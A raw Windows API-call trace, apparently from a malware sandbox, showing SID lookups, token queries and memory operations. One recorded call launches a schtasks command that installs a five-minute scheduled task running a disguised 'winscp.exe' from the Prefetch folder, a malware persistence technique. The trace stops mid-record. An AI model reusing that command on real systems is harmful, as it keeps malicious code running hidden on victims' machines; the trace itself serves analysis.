[0078.614] free (_Block=0xeef00) [0078.614] free (_Block=0xef0a0) [0078.614] malloc (_Size=0x18) returned 0xef0a0 [0078.614] malloc (_Size=0x18) returned 0xeef00 [0078.614] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0078.614] SysStringLen (param_1="1000") returned 0x4 [0078.614] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x56 | out: _Dst=0x34da68) returned 0x34da68 [0078.614] memcpy (in: _Dst=0x34dabc, _Src=0x3811a8, _Size=0xa | out: _Dst=0x34dabc) returned 0x34dabc [0078.614] free (_Block=0xef020) [0078.615] free (_Block=0xef0a0) [0078.615] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0078.615] malloc (_Size=0x5e) returned 0xf0800 [0078.615] free (_Block=0xeef00) [0078.615] malloc (_Size=0x18) returned 0xeef00 [0078.615] free (_Block=0xf0800) [0078.616] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0078.620] GetLastError () returned 0x7a [0078.620] malloc (_Size=0x14) returned 0xef0a0 [0078.620] malloc (_Size=0x16) returned 0xef020 [0078.620] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef0a0, cchName=0xebcca4, ReferencedDomainName=0xef020, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0078.621] malloc (_Size=0x18) returned 0xeef60 [0078.621] malloc (_Size=0x18) returned 0xef040 [0078.621] free (_Block=0xef0a0) [0078.621] free (_Block=0xef020) [0078.621] free (_Block=0xeff60) [0078.621] free (_Block=0xef040) [0078.621] free (_Block=0xeef60) [0078.621] free (_Block=0xeef00) [0078.622] free (_Block=0xee200) [0078.622] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0078.622] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0078.622] GetLastError () returned 0x7a [0078.622] malloc (_Size=0x2c) returned 0xee240 [0078.622] GetTokenInformation (in: TokenHandle=0x234, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0078.622] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0078.622] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0078.622] malloc (_Size=0x1c) returned 0xeff60 [0078.622] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0078.622] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0078.622] malloc (_Size=0x18) returned 0xeef00 [0078.622] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0078.622] malloc (_Size=0x18) returned 0xeef60 [0078.622] malloc (_Size=0x18) returned 0xef040 [0078.622] SysStringLen (param_1="S-1-") returned 0x4 [0078.623] SysStringLen (param_1="5") returned 0x1 [0078.623] memcpy (in: _Dst=0x381148, _Src=0x381118, _Size=0xa | out: _Dst=0x381148) returned 0x381148 [0078.623] memcpy (in: _Dst=0x381150, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x381150) returned 0x381150 [0078.623] free (_Block=0xeef00) [0078.623] free (_Block=0xeef60) [0078.623] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0078.623] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0078.623] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0078.623] malloc (_Size=0x18) returned 0xeef60 [0078.623] malloc (_Size=0x18) returned 0xeef00 [0078.623] SysStringLen (param_1="S-1-5") returned 0x5 [0078.623] SysStringLen (param_1="-") returned 0x1 [0078.623] memcpy (in: _Dst=0x3811a8, _Src=0x381148, _Size=0xc | out: _Dst=0x3811a8) returned 0x3811a8 [0078.623] memcpy (in: _Dst=0x3811b2, _Src=0x381118, _Size=0x4 | out: _Dst=0x3811b2) returned 0x3811b2 [0078.623] free (_Block=0xef040) [0078.623] free (_Block=0xeef60) [0078.623] malloc (_Size=0x18) returned 0xeef60 [0078.623] malloc (_Size=0x18) returned 0xef040 [0078.623] SysStringLen (param_1="S-1-5-") returned 0x6 [0078.623] SysStringLen (param_1="21") returned 0x2 [0078.624] memcpy (in: _Dst=0x381118, _Src=0x3811a8, _Size=0xe | out: _Dst=0x381118) returned 0x381118 [0078.624] memcpy (in: _Dst=0x381124, _Src=0x381148, _Size=0x6 | out: _Dst=0x381124) returned 0x381124 [0078.624] free (_Block=0xeef00) [0078.624] free (_Block=0xeef60) [0078.624] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0078.624] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0078.624] malloc (_Size=0x18) returned 0xeef60 [0078.624] malloc (_Size=0x18) returned 0xeef00 [0078.624] SysStringLen (param_1="S-1-5-21") returned 0x8 [0078.624] SysStringLen (param_1="-") returned 0x1 [0078.624] memcpy (in: _Dst=0x381148, _Src=0x381118, _Size=0x12 | out: _Dst=0x381148) returned 0x381148 [0078.624] memcpy (in: _Dst=0x381158, _Src=0x3811a8, _Size=0x4 | out: _Dst=0x381158) returned 0x381158 [0078.624] free (_Block=0xef040) [0078.624] free (_Block=0xeef60) [0078.624] malloc (_Size=0x18) returned 0xeef60 [0078.624] malloc (_Size=0x18) returned 0xef040 [0078.624] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0078.624] SysStringLen (param_1="4219442223") returned 0xa [0078.624] memcpy (in: _Dst=0x338318, _Src=0x381148, _Size=0x14 | out: _Dst=0x338318) returned 0x338318 [0078.624] memcpy (in: _Dst=0x33832a, _Src=0x381118, _Size=0x16 | out: _Dst=0x33832a) returned 0x33832a [0078.625] free (_Block=0xeef00) [0078.625] free (_Block=0xeef60) [0078.625] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0078.625] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0078.625] malloc (_Size=0x18) returned 0xeef60 [0078.625] malloc (_Size=0x18) returned 0xeef00 [0078.625] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0078.625] SysStringLen (param_1="-") returned 0x1 [0078.625] memcpy (in: _Dst=0x337788, _Src=0x338318, _Size=0x28 | out: _Dst=0x337788) returned 0x337788 [0078.625] memcpy (in: _Dst=0x3377ae, _Src=0x381148, _Size=0x4 | out: _Dst=0x3377ae) returned 0x3377ae [0078.625] free (_Block=0xef040) [0078.625] free (_Block=0xeef60) [0078.625] malloc (_Size=0x18) returned 0xeef60 [0078.625] malloc (_Size=0x18) returned 0xef040 [0078.625] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0078.625] SysStringLen (param_1="4223814209") returned 0xa [0078.625] memcpy (in: _Dst=0x34dd98, _Src=0x337788, _Size=0x2a | out: _Dst=0x34dd98) returned 0x34dd98 [0078.625] memcpy (in: _Dst=0x34ddc0, _Src=0x381148, _Size=0x16 | out: _Dst=0x34ddc0) returned 0x34ddc0 [0078.625] free (_Block=0xeef00) [0078.626] free (_Block=0xeef60) [0078.626] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0078.626] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0078.626] malloc (_Size=0x18) returned 0xeef60 [0078.626] malloc (_Size=0x18) returned 0xeef00 [0078.626] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0078.626] SysStringLen (param_1="-") returned 0x1 [0078.626] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x3e | out: _Dst=0x34da68) returned 0x34da68 [0078.626] memcpy (in: _Dst=0x34daa4, _Src=0x381148, _Size=0x4 | out: _Dst=0x34daa4) returned 0x34daa4 [0078.626] free (_Block=0xef040) [0078.626] free (_Block=0xeef60) [0078.626] malloc (_Size=0x18) returned 0xeef60 [0078.626] malloc (_Size=0x18) returned 0xef040 [0078.626] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0078.626] SysStringLen (param_1="3835049652") returned 0xa [0078.626] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x40 | out: _Dst=0x34dd98) returned 0x34dd98 [0078.626] memcpy (in: _Dst=0x34ddd6, _Src=0x381148, _Size=0x16 | out: _Dst=0x34ddd6) returned 0x34ddd6 [0078.626] free (_Block=0xeef00) [0078.626] free (_Block=0xeef60) [0078.627] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0078.627] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0078.627] malloc (_Size=0x18) returned 0xeef60 [0078.627] malloc (_Size=0x18) returned 0xeef00 [0078.627] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0078.627] SysStringLen (param_1="-") returned 0x1 [0078.627] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x54 | out: _Dst=0x34da68) returned 0x34da68 [0078.627] memcpy (in: _Dst=0x34daba, _Src=0x381148, _Size=0x4 | out: _Dst=0x34daba) returned 0x34daba [0078.627] free (_Block=0xef040) [0078.627] free (_Block=0xeef60) [0078.627] malloc (_Size=0x18) returned 0xeef60 [0078.627] malloc (_Size=0x18) returned 0xef040 [0078.627] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0078.627] SysStringLen (param_1="1000") returned 0x4 [0078.627] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x56 | out: _Dst=0x34dd98) returned 0x34dd98 [0078.627] memcpy (in: _Dst=0x34ddec, _Src=0x381148, _Size=0xa | out: _Dst=0x34ddec) returned 0x34ddec [0078.627] free (_Block=0xeef00) [0078.627] free (_Block=0xeef60) [0078.627] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0078.627] malloc (_Size=0x5e) returned 0xf0800 [0078.628] free (_Block=0xef040) [0078.628] malloc (_Size=0x18) returned 0xef040 [0078.628] free (_Block=0xf0800) [0078.628] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0078.629] GetLastError () returned 0x7a [0078.629] malloc (_Size=0x14) returned 0xeef60 [0078.629] malloc (_Size=0x16) returned 0xeef00 [0078.629] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef60, cchName=0xebccb4, ReferencedDomainName=0xeef00, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0078.630] malloc (_Size=0x18) returned 0xef020 [0078.630] malloc (_Size=0x18) returned 0xef0a0 [0078.630] free (_Block=0xeef60) [0078.630] free (_Block=0xeef00) [0078.630] free (_Block=0xeff60) [0078.630] free (_Block=0xef0a0) [0078.630] free (_Block=0xef020) [0078.630] free (_Block=0xef040) [0078.631] free (_Block=0xee240) [0078.631] malloc (_Size=0x48) returned 0xed400 [0078.631] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0078.641] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0078.641] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0078.641] malloc (_Size=0x18) returned 0xef040 [0078.641] CreateEnvironmentBlock () returned 0x1 [0078.646] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0078.646] malloc (_Size=0x18) returned 0xef020 [0078.647] CreateProcessAsUserW (in: hToken=0x244, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"winscpw\" /sc MINUTE /mo 5 /tr \"'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"winscpw\" /sc MINUTE /mo 5 /tr \"'C:\\Windows\\Prefetch\\ReadyBoot\\winscp.exe'\" /f", lpProcessInformation=0xebcdc0*(hProcess=0x2f8, hThread=0x2fc, dwProcessId=0xccc, dwThreadId=0xcc4)) returned 1 [0078.654] CloseHandle (hObject=0x2f8) returned 1 [0078.654] CloseHandle (hObject=0x2fc) returned 1 [0078.654] free (_Block=0xef020) [0078.654] DestroyEnvironmentBlock () returned 0x1 [0078.654] malloc (_Size=0x48) returned 0xed270 [0078.654] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x57d9c220, dwHighDateTime=0x1d9eb0c)) [0078.655] SetEvent (hEvent=0x1f0) returned 1 [0078.655] CloseHandle (hObject=0x234) returned 1 [0078.655] CloseHandle (hObject=0x244) returned 1 [0078.735] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0078.735] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0078.735] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0079.230] SetLastError (dwErrCode=0x0) [0079.230] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0079.230] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0079.230] SetLastError (dwErrCode=0x0) [0079.230] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0079.230] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0079.230] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0079.230] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f510 [0079.230] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f510, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0079.230] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f510 | out: hHeap=0x2e0000) returned 1 [0079.233] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0079.234] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0079.234] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0079.234] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0079.234] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0079.234] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0079.234] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0079.236] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0079.236] GetCurrentThread () returned 0xfffffffffffffffe [0079.236] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x244) returned 1 [0079.236] malloc (_Size=0xd8) returned 0xf4740 [0079.236] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0079.237] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0079.237] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0079.237] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0079.237] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0079.237] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0079.237] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0079.238] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0079.238] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0079.238] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0079.238] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0079.238] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0079.238] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0079.238] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0079.239] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0079.239] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0079.239] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0079.239] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0079.239] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0079.239] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0079.239] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0079.239] malloc (_Size=0x18) returned 0xeef20 [0079.240] DuplicateTokenEx (in: hExistingToken=0x244, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x234) returned 1 [0079.240] malloc (_Size=0x48) returned 0xed2c0 [0079.240] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5831d500, dwHighDateTime=0x1d9eb0c)) [0079.240] SetEvent (hEvent=0x1f0) returned 1 [0079.248] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0079.248] GetLastError () returned 0x7a [0079.248] malloc (_Size=0x2c) returned 0xee200 [0079.248] GetTokenInformation (in: TokenHandle=0x244, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, ReturnLength=0xebcd80) returned 1 [0079.248] IsValidSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0079.248] GetLengthSid (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0079.249] malloc (_Size=0x1c) returned 0xeff30 [0079.249] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff30, pSourceSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff30*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0079.249] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0079.249] malloc (_Size=0x18) returned 0xeef20 [0079.249] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0079.249] malloc (_Size=0x18) returned 0xef040 [0079.249] malloc (_Size=0x18) returned 0xef020 [0079.249] SysStringLen (param_1="S-1-") returned 0x4 [0079.249] SysStringLen (param_1="5") returned 0x1 [0079.249] memcpy (in: _Dst=0x3810e8, _Src=0x381058, _Size=0xa | out: _Dst=0x3810e8) returned 0x3810e8 [0079.249] memcpy (in: _Dst=0x3810f0, _Src=0x381268, _Size=0x4 | out: _Dst=0x3810f0) returned 0x3810f0 [0079.249] free (_Block=0xeef20) [0079.250] free (_Block=0xef040) [0079.250] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0079.250] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0079.250] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0079.250] malloc (_Size=0x18) returned 0xef040 [0079.250] malloc (_Size=0x18) returned 0xeef20 [0079.250] SysStringLen (param_1="S-1-5") returned 0x5 [0079.250] SysStringLen (param_1="-") returned 0x1 [0079.250] memcpy (in: _Dst=0x381268, _Src=0x3810e8, _Size=0xc | out: _Dst=0x381268) returned 0x381268 [0079.250] memcpy (in: _Dst=0x381272, _Src=0x381058, _Size=0x4 | out: _Dst=0x381272) returned 0x381272 [0079.250] free (_Block=0xef020) [0079.251] free (_Block=0xef040) [0079.251] malloc (_Size=0x18) returned 0xef040 [0079.251] malloc (_Size=0x18) returned 0xef020 [0079.251] SysStringLen (param_1="S-1-5-") returned 0x6 [0079.251] SysStringLen (param_1="21") returned 0x2 [0079.251] memcpy (in: _Dst=0x381058, _Src=0x381268, _Size=0xe | out: _Dst=0x381058) returned 0x381058 [0079.251] memcpy (in: _Dst=0x381064, _Src=0x3810e8, _Size=0x6 | out: _Dst=0x381064) returned 0x381064 [0079.251] free (_Block=0xeef20) [0079.251] free (_Block=0xef040) [0079.251] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, 